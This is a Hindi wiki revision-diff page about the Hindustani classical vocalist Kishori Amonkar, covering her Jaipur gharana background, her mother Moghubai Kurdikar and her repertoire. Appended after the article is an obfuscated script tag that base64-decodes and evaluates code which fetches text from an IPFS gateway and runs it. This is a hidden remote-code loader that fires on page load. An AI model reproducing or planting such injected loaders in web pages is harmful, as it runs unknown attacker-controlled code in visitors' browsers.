किशोरी अमोनकर: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
m (Text replace - " खां " to " ख़ाँ ")
Line 32: Line 32:
|अद्यतन=
|अद्यतन=
}}
}}
'''किशोरी अमोनकर''' ([[अंग्रेज़ी]]:''Kishori Amonkar'', जन्म: [[10 अप्रैल]] [[1931]]) हिंदुस्‍तानी शास्‍त्रीय परंपरा की प्रमुख गायिकाओं में से एक और [[जयपुर-अतरौली घराना|जयपुर घराने]] की अग्रणी गायिका हैं। प्रसिद्ध गायिका मोघूबाई कुर्दीकर (जिन्‍होंने जयपुर घराने के वरिष्‍ठ गायन सम्राट उस्‍ताद अल्‍लादिया खां साहब से शिक्षा प्राप्‍त की) की बेटी किशोरी अमोनकर [[संगीत]] से ओतप्रोत वातावरण में पली-बढ़ीं।  
'''किशोरी अमोनकर''' ([[अंग्रेज़ी]]:''Kishori Amonkar'', जन्म: [[10 अप्रैल]] [[1931]]) हिंदुस्‍तानी शास्‍त्रीय परंपरा की प्रमुख गायिकाओं में से एक और [[जयपुर-अतरौली घराना|जयपुर घराने]] की अग्रणी गायिका हैं। प्रसिद्ध गायिका मोघूबाई कुर्दीकर (जिन्‍होंने जयपुर घराने के वरिष्‍ठ गायन सम्राट उस्‍ताद अल्‍लादिया ख़ाँ साहब से शिक्षा प्राप्‍त की) की बेटी किशोरी अमोनकर [[संगीत]] से ओतप्रोत वातावरण में पली-बढ़ीं।  


==गायन प्रतिभा==
==गायन प्रतिभा==

Revision as of 11:11, 17 May 2013

किशोरी अमोनकर
पूरा नाम किशोरी अमोनकर
जन्म 10 अप्रैल 1931
जन्म भूमि महाराष्ट्र
कर्म-क्षेत्र शास्त्रीय गायिका
पुरस्कार-उपाधि पद्म भूषण, पद्म विभूषण, संगीत नाटक अकादमी पुरस्कार, संगीत नाटक अकादमी फ़ेलोशिप
नागरिकता भारतीय
अन्य जानकारी किशोरी अमोनकर की माता मोघूबाई कुर्दीकर भी प्रसिद्ध गायिका रही हैं।

किशोरी अमोनकर (अंग्रेज़ी:Kishori Amonkar, जन्म: 10 अप्रैल 1931) हिंदुस्‍तानी शास्‍त्रीय परंपरा की प्रमुख गायिकाओं में से एक और जयपुर घराने की अग्रणी गायिका हैं। प्रसिद्ध गायिका मोघूबाई कुर्दीकर (जिन्‍होंने जयपुर घराने के वरिष्‍ठ गायन सम्राट उस्‍ताद अल्‍लादिया ख़ाँ साहब से शिक्षा प्राप्‍त की) की बेटी किशोरी अमोनकर संगीत से ओतप्रोत वातावरण में पली-बढ़ीं।

गायन प्रतिभा

किशोरी अमोनकर ने न केवल जयपुर घराने की गायकी की बारीकियों और तकनीकों पर अधिकार प्राप्‍त किया, बल्‍कि कालांतर में अपने कौशल और कल्‍पना से एक नवीन शैली भी विकसित की। इस प्रकार उनकी शैली में अन्‍य घरानों की बारीकियां भी झलकती हैं। अमोनकर की प्रस्‍तुतियां ऊर्जा और लावण्‍य से अनुप्राणित होती हैं। उन्‍होंने प्राचीन संगीत ग्रंथों पर विस्‍तृत शोध किया है और उन्‍हें संगीत की गहरी समझ है। उनका संगीत भंडार विशाल है और वह न केवल पारंपरिक रागों, जैसे जौनपुरी, पटट् बिहाग, अहीर और भैरव प्रस्‍तुत करती हैं, बल्‍कि ठुमरी, भजन और खयाल भी गाती हैं।

सम्मान और पुरस्कार


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>